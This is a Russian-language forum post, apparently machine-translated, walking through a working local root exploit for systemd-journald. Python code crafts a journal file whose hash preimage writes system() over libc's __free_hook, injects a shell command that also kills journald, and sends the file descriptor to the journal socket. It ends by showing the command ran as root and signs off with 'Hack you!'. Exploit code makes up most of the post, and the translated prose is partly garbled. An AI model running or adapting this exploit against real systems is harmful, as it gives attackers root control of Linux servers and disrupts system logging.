Linux SystemD - privilege escalation или выполняем код через root
@webwareДоброго времени суток форумчане. Спешу сообщить про уязвимость в SystemD. Почти все дистрибутивы уязвимы перед ней. Это статья больше всего подойдёт для администраторов в чьих руках стоят сервера на пингвине.

Поехали!
Уязвимость представляет собой проблему out-of-bounds чтения из памяти, то есть позволяет прочесть данные из внешних областей памяти.
Первый кусок кода-это базовая настройка, вспомогательные функции и приятная обертка вокруг сокетов UNIX, которая облегчит нашу жизнь дальше по линии:
#!/usr/bin/env python3
import array
import os
import socket
import struct
TEMPFILE = '/tmp/systemdown_temp'
def p64(n):
return struct.pack('<Q', n)
class UNIXSocket(object):
def __init__(self, path):
self.path = path
def __enter__(self):
self.client = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM, 0)
self.client.connect(self.path)
return self.client
def __exit__(self, exc_t, exc_v, traceback):
self.client.close()
Далее у нас есть некоторые константы, которые могут меняться в зависимости от конкретной целевой среды. Эти константы были построены для выпуска 20180808.0.0 в Ubuntu/bionic64 бродячий образ (и опять же, как они предполагают цель технологии ASLR отключены):
libc = 0x7ffff79e4000 stack = 0x7fffffffde60 free_hook = libc + 0x3ed8e8 system_preimage = b"Y=J~-Y',Wj(A" padding_kvs = 3
Теперь у нас есть масса ценностей, необходимых для нашего экспериментального использования. Первым шагом в логике эксплойта является добавление некоторых записей заполнения, которые вызывают увеличение размера alloca, смещая стеки journal_file_append_data (и функции, которые он вызывает) ниже. Это необходимо для выравнивания точного местоположения, где данные будут записываться в libc .BSS, и избежать ненужного забивания любых других глобальных ценностей libc, которые могут сильно помешать эксплуатации.
with open(TEMPFILE, 'wb') as log:
msg = b""
for _ in range(padding_kvs):
msg += b"P=\n"
Далее добавим значение прообраза, хэш для которого (при вычислении из hash64 ()) будет адресом system. В частности, это выравнивание этого значения будет таким, что journald запишет систему в libc __free_hook, давая нам оболочку, когда наша команда ниже будет освобождена.
msg += system_preimage + b"\n"
Затем мы добавляем нашу команду в виде двоичного блока данных, окруженного точками с запятой, чтобы сделать sh счастливым. Мы также гарантируем, что journald насильственно убит здесь, так что libc не имеет шансов заблокировать после возврата вызова system:
cmd = b"echo $(whoami) > /tmp/pwn"
cmd = b";" + cmd + b";killall -9 /lib/systemd/systemd-journald;"
msg += b"C\n"
msg += p64(len(cmd))
msg += cmd + b"\n"
Затем мы отправляем большую запись (>=128MB), что приводит к ошибке и заставляет journald выйти из цикла обработки записей (src). Как только это условие ошибки поражено, и цикл остановлен, больше не записываются значения, и поэтому этот шаг важен, чтобы прекратить повреждение памяти, предотвращая запись значений в несопоставленную / неписаную память между libc и стеком.
msg += b"A=" + b"B"*(128*1024*1024) + b"\n"
Наконец, мы заполняем наше сообщение достаточным количеством записей, чтобы вызвать падение stack - >libc:
num_msgs = (((stack - free_hook)//16) - 1)
num_msgs -= 3 # the three above
num_msgs -= 7 # added by journald itself
msg += b"B=\n" * num_msgs
log.write(msg)
На данный момент нам просто нужно передать журнал FD в journald, чтобы получить нашу оболочку:
with UNIXSocket("/run/systemd/journal/socket") as sock:
with open(TEMPFILE, 'rb') as log:
sock.sendmsg([b""], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, array.array("i", [log.fileno()]))])
os.unlink(TEMPFILE)
После запуска этого мы обнаруживаем, что файл/tmp / pwn был создан с содержимым “root”, что означает, что мы успешно достигли нашей эскалации привилегий.
$ cat /tmp/pwn root
Спасибо за прочтение мой статьи! Hack you!